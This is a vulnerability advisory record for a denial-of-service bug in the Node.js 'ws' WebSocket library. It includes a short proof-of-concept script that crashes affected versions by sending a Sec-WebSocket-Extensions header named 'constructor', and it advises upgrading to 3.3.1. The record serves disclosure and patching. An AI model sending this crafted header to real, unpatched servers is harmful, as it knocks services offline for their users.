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Vulnerability details: VCID-rqzd-t577-w3e7
Vulnerability ID VCID-rqzd-t577-w3e7
Aliases GHSA-5v72-xg48-5rpm
GMS-2019-145
Summary Denial of Service in ws Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent. ## Proof of concept ``` const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r' ].join('\r'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ``` ## Recommendation Update to version 3.3.1 or later.
Status Published
Exploitability None
Weighted Severity None
Risk None
Affected and Fixed Packages Package Details
Weaknesses (2)
CWE-1035 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities
CWE-937 OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities
System Score Found at
There are no known severity scores.
Reference id Reference type URL
https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a
https://nodesecurity.io/advisories/550
https://snyk.io/vuln/npm:ws:20171108
https://www.npmjs.com/advisories/550
https://www.npmjs.com/advisories/550/versions
GHSA-5v72-xg48-5rpm https://github.com/advisories/GHSA-5v72-xg48-5rpm
No exploits are available.
There are no known vectors.

No EPSS data available for this vulnerability.

Date Actor Action Source VulnerableCode Version
2026-06-02T04:39:18.384391+00:00 GitLab Importer Import https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/ws/GMS-2019-145.yml 38.6.0